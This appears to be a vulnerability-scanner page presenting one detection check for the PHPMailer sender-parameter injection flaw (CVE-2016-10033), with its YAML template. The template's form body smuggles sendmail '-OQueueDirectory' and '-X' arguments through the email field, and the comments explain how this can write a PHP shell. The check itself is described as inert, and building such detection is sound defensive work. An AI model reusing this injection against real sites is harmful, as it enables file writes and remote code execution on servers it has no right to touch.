PHPMailer — 1 vulnerability check

noctis ships 1 vulnerability check for PHPMailer, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHPMailer < 5.2.18 mail() Sender-Parameter Injection RCE

CVECVE-2016-10033
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 75
Feedtests/vulnerabilities/phpmailer/CVE-2016-10033.yaml

Submits a contact/email form with a From address that smuggles a benign sendmail -X argument (per-run marker split by an empty quoted string). A vulnerable PHPMailer accepts the malformed sender and surfaces the parsed sendmail argument with the marker halves joined; a patched build rejects it.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /contact.php with a crafted body
  3. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 75: PHPMailer mail() sender-arg injection confirmed — vulnerable sink parsed the smuggled sendmail -X argument and surfaced the per-run marker …

References:

Feed source — tests/vulnerabilities/phpmailer/CVE-2016-10033.yaml
# PHPMailer < 5.2.18 — mail() sender-parameter injection RCE — CVE-2016-10033
#
# PHPMailer built the sendmail argument list from an unvalidated From/Sender
# address: `$params = sprintf('-f%s', $Sender)`, passed to PHP mail() which
# shells out to sendmail. A From value containing quoted spaces smuggles extra
# sendmail options (-OQueueDirectory, -X<path>) into the command line, letting
# an attacker write an arbitrary file (a PHP shell) → remote code execution.
# Fixed in 5.2.18, which rejects addresses that are not RFC-valid.
#
# Detection (INERT — no exploitation):
#   Submit the contact/email form with a crafted From that injects a benign
#   -X<path> sendmail option whose path embeds a per-run random marker.  The
#   marker is split into two halves separated by an empty quoted string ("")
#   — an inert shell token the *vulnerable* sender-parsing path removes when it
#   word-splits/quote-strips the smuggled argument, making the two halves
#   contiguous in the parsed sendmail argv it surfaces.  A patched build
#   rejects the malformed address before any sendmail-arg parsing, and a mock
#   that merely reflects or sanitises the request never joins the halves, so
#   neither can emit the contiguous NOCTIS<32-hex> marker.
#
#   The injected option carries NO real file-writing payload (benign nonce
#   only) — this proves the vulnerable sink parses the injection, not that any
#   code ran. Response analysis, QoD 75.
uid: c8ac5b09-518f-430a-a834-8e31fb158b95
name: "PHPMailer < 5.2.18 mail() Sender-Parameter Injection RCE (CVE-2016-10033)"
description: |
  Submits a contact/email form with a From address that smuggles a benign
  sendmail -X argument (per-run marker split by an empty quoted string). A
  vulnerable PHPMailer accepts the malformed sender and surfaces the parsed
  sendmail argument with the marker halves joined; a patched build rejects it.
cves: [CVE-2016-10033]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [phpmailer, wordpress, php, mail-injection, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-10033"
  - "https://github.com/opsxcq/exploit-CVE-2016-10033"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-10033.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2016-10033"

steps:
  # Per-run nonce. tok = 32 lowercase hex; the marker (NOCTIS<tok>) is what the
  # vulnerable sink must surface contiguously. We send its two halves split by
  # an empty quoted string so only the vulnerable quote-stripping path joins them.
  - id: gen-nonce
    action: script
    code: |
      let t = rand_hex(16);
      #{ tok_a: substr(t, 0, 15), tok_b: substr(t, 16, 31), marker: "NOCTIS" + t }
    store_as: nonce

  # Submit the form. email is last so the mock reads the whole injected value
  # (which itself contains '=' from -OQueueDirectory) to end-of-body.
  # reqwest does not normalise request bodies, so the quotes/spaces go verbatim.
  - id: submit
    action: http_request
    method: POST
    path: "/contact.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: 'action=send&name=tester&message=hello&email=attacker" -OQueueDirectory=/tmp/ -X/tmp/NOCTIS{{nonce.tok_a}}""{{nonce.tok_b}}.php x"@noctis.test'
    store_as: resp

  # Fire only when the vulnerable sink both accepted the sender (302 "sent")
  # and surfaced our exact per-run marker contiguously (the "" was joined).
  - id: detect
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "resp.status == 302 && stridx(resp.body, nonce.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "PHPMailer mail() sender-arg injection confirmed — vulnerable sink parsed the smuggled sendmail -X argument and surfaced the per-run marker (HTTP {{resp.status}})."
      stop: true

View these feeds on GitHub